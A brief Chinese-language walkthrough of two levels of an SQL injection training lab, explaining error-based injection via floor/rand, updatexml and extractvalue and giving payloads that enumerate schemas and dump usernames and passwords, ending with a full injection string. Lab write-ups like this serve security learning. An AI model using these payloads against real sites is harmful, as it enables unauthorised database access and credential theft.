Less_5-6
按照之前的套路，发现在输入id=1'时页面报错但却无法用order by and union进行下一步
原来要用到新的知识：报错注入
(1). 通过floor报错
and (select 1 from (select count(*),concat((payload) from users limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a)
其中payload为你要插入的SQL语句需要注意的是该语句将 输出字符长度限制为64个字符
(2). 通过updatexml报错
and updatexml(1,payload,1)
同样该语句对输出的字符长度也做了限制，其最长输出32位并且该语句对payload的反悔类型也做了限制，只有在payload返回的不是xml格式才会生效
(3). 通过ExtractValue报错
and extractvalue(1, payload)
输出字符有长度限制，最长32位。
然后就构造payload
Select group_concat(schema_name) from information_schema.schemata 找数据库
Select group_concat(table_name) from information_schema.tables where table_schema='security'
Select group_concat(column_name) from information_schema.columns where table_name='users'
但在最后爆破数据时发现用group_concat不行，提示超过一行，所以改用limit来显示
但select 一次用户名，再select一次密码好麻烦，所以用concat_ws()函数可以显示多个字段或者concat()也可以
Select concat_ws(0x3a,username,password) from users limit 0,1（找下一个就改成limit 1,1,以此类推）
Less-6 和第5关一样 只不过将单引号换成了双引号
这里就直接显示结果了
?id=1" and (select 1 from (select count(*),concat((Select concat_ws(0x3a,username,password) from users limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a)--+